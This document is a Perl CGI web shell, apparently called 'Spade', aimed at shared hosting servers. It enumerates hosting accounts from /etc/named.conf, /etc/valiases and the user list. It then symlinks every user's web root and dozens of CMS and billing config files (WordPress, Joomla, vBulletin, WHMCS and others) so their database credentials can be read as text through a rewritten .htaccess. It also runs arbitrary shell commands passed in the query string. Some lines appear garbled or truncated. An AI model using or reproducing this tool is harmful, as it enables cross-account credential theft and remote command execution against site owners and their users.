#!/usr/bin/perl -I/usr/local/bandmin local ($buffer, @pairs, $pair, $name, $value, %FORM); # Read in text $ENV{'REQUEST_METHOD'} =~ tr/a-z/A-Z/; if ($ENV{'REQUEST_METHOD'} eq "GET") { $buffer = $ENV{'QUERY_STRING'}; } # Split information into name/value pairs @pairs = split(/&/, $buffer); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); $value =~ tr/+/ /; $value =~ s/%(..)/pack("C", hex($1))/eg; $FORM{$name} = $value; } $server = $FORM{server}; $perl = $FORM{perl}; $config = $FORM{config}; $execute = $FORM{execute}; $execmd = $FORM{execmd}; $exe = $FORM{exe}; print "Content-type: text/html\n\n"; print'
      ___                         ___           ___           ___     
     /  /\          ___          /  /\         /  /\         /  /\    
    /  /::\        /  /\        /  /::\       /  /::\       /  /::\   
   /__/:/\:\      /  /::\      /  /:/\:\     /  /:/\:\     /  /:/\:\  
  _\_ \:\ \:\    /  /:/\:\    /  /::\ \:\   /  /:/  \:\   /  /::\ \:\ 
 /__/\ \:\ \:\  /  /::\ \:\  /__/:/\:\_\:\ /__/:/ \__\:| /__/:/\:\ \:\
 \  \:\ \:\_\/ /__/:/\:\_\:\ \__\/  \:\/:/ \  \:\ /  /:/ \  \:\ \:\_\/
  \  \:\_\:\   \__\/  \:\/:/      \__\::/   \  \:\  /:/   \  \:\ \:\  
   \  \:\/:/        \  \::/       /  /:/     \  \:\/:/     \  \:\_\/  
    \  \::/          \__\/       /__/:/       \__\::/       \  \:\    
     \__\/                       \__\/            ~~         \__\/    

                       



'; sub getsym { symlink('/home/'.$_[0].'/public_html/vb/includes/config.php',$_[1].'~~vBulletin1.txt'); symlink('/home/'.$_[0].'/public_html/core/includes/config.php',$_[1].'~~vBulletin5.txt'); symlink('/home/'.$_[0].'/public_html/includes/config.php',$_[1].'~~vBulletin2.txt'); symlink('/home/'.$_[0].'/public_html/forum/includes/config.php',$_[1].'~~vBulletin3.txt'); symlink('/home/'.$_[0].'/public_html/vb/core/includes/config.php',$_[1].'~~vBulletin5.txt'); symlink('/home/'.$_[0].'/public_html/inc/config.php',$_[1].'~~mybb.txt'); symlink('/home/'.$_[0].'/public_html/config.php',$_[1].'~~Phpbb1.txt'); symlink('/home/'.$_[0].'/public_html/forum/includes/config.php',$_[1].'~~Phpbb2.txt'); symlink('/home/'.$_[0].'/public_html/conf_global.php',$_[1].'~~ipb1.txt'); symlink('/home/'.$_[0].'/public_html/wp-config.php',$_[1].'~~Wordpress1.txt'); symlink('/home/'.$_[0].'/public_html/blog/wp-config.php',$_[1].'~~Wordpress2.txt'); symlink('/home/'.$_[0].'/public_html/configuration.php',$_[1].'~~Joomla1.txt'); symlink('/home/'.$_[0].'/public_html/blog/configuration.php',$_[1].'~~Joomla2.txt'); symlink('/home/'.$_[0].'/public_html/joomla/configuration.php',$_[1].'~~Joomla3.txt'); symlink('/home/'.$_[0].'/public_html/bb-config.php',$_[1].'~~boxbilling.txt'); symlink('/home/'.$_[0].'/public_html/billing/bb-config.php',$_[1].'~~boxbilling.txt'); symlink('/home/'.$_[0].'/public_html/whm/configuration.php',$_[1].'~~Whm1.txt'); symlink('/home/'.$_[0].'/public_html/whmc/configuration.php',$_[1].'~~Whm2.txt'); symlink('/home/'.$_[0].'/public_html/support/configuration.php',$_[1].'~~Whm3.txt'); symlink('/home/'.$_[0].'/public_html/client/configuration.php',$_[1].'~~Whm4.txt'); symlink('/home/'.$_[0].'/public_html/billings/configuration.php',$_[1].'~~Whm5.txt'); symlink('/home/'.$_[0].'/public_html/billing/configuration.php',$_[1].'~~Whm6.txt'); symlink('/home/'.$_[0].'/public_html/clients/configuration.php',$_[1].'~~Whm7.txt'); symlink('/home/'.$_[0].'/public_html/whmcs/configuration.php',$_[1].'~~Whm8.txt'); symlink('/home/'.$_[0].'/public_html/order/configuration.php',$_[1].'~~Whm9.txt'); symlink('/home/'.$_[0].'/public_html/admin/conf.php',$_[1].'~~5.txt'); symlink('/home/'.$_[0].'/public_html/admin/config.php',$_[1].'~~4.txt'); symlink('/home/'.$_[0].'/public_html/conf_global.php',$_[1].'~~invisio.txt'); symlink('/home/'.$_[0].'/public_html/include/db.php',$_[1].'~~7.txt'); symlink('/home/'.$_[0].'/public_html/connect.php',$_[1].'~~8.txt'); symlink('/home/'.$_[0].'/public_html/mk_conf.php',$_[1].'~~mk-portale1.txt'); symlink('/home/'.$_[0].'/public_html/include/config.php',$_[1].'~~12.txt'); symlink('/home/'.$_[0].'/public_html/settings.php',$_[1].'~~Smf.txt'); symlink('/home/'.$_[0].'/public_html/includes/functions.php',$_[1].'~~phpbb3.txt'); symlink('/home/'.$_[0].'/public_html/include/db.php',$_[1].'~~infinity.txt'); } sub chdr { chdir $_[0]; open(DATA, ">.htaccess"); print DATA "Options all\nDirectoryIndex sp.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any"; } if($server eq "Server Sym") { mkdir "Spade_perlsym", 0755; &chdr("Spade_perlsym"); chdir "Spade_perlsym"; open (d0mains, '/etc/named.conf') or $err=1; @kr = ; close d0mains; if ($err) { open INPUT, " ) { $line=$_; @sprt=split(/:/,$line); $user=$sprt[0]; system('ln -s /home/'.$user.'/public_html ' . $user); } print '
//>> Server Sym
'; } else { foreach my $one (@kr) { if($one =~ m/.*?zone "(.*?)" {/) { $filename= "/etc/valiases/".$1; $owner = getpwuid((stat($filename))[4]); system('ln -s /home/'.$owner.'/public_html ' . $1); } } print '
//>> Server Sym
'; } } elsif($perl eq "Perl Sym") { mkdir "Spade_perlsym", 0755; &chdr("Spade_perlsym"); chdir "Spade_perlsym"; open (d0mains, '/etc/named.conf') or $err=1; @kr = ; close d0mains; if ($err) { open INPUT, " ) { $line=$_; @sprt=split(/:/,$line); $user=$sprt[0]; symlink('/home/'.$user.'/public_html', $user); } print '
//>> Perl Sym
'; } else { foreach my $one (@kr) { if($one =~ m/.*?zone "(.*?)" {/) { $filename= "/etc/valiases/".$1; $owner = getpwuid((stat($filename))[4]); symlink('/home/'.$owner.'/public_html', $1); } } print '
//>> Perl Sym
'; } } elsif($config eq "Get config") { mkdir "Spade_perlsym2", 0755; &chdr("Spade_perlsym2"); chdir "Spade_perlsym2"; open (d0mains, '/etc/named.conf') or $err=1; @kr = ; close d0mains; if ($err) { open INPUT, " ) { $line=$_; @sprt=split(/:/,$line); $user=$sprt[0]; $user1 = $user; &getsym($user,$user1); } print '
//>> Config Sym
'; } else { foreach my $one (@kr) { if($one =~ m/.*?zone "(.*?)" {/) { $filename= "/etc/valiases/".$1; $owner = getpwuid((stat($filename))[4]); &getsym($owner,$1); } } print '
//>> Config Sym
'; } } elsif($execmd eq "Execute") { print '

'.readpipe($execute).'
'; } print '';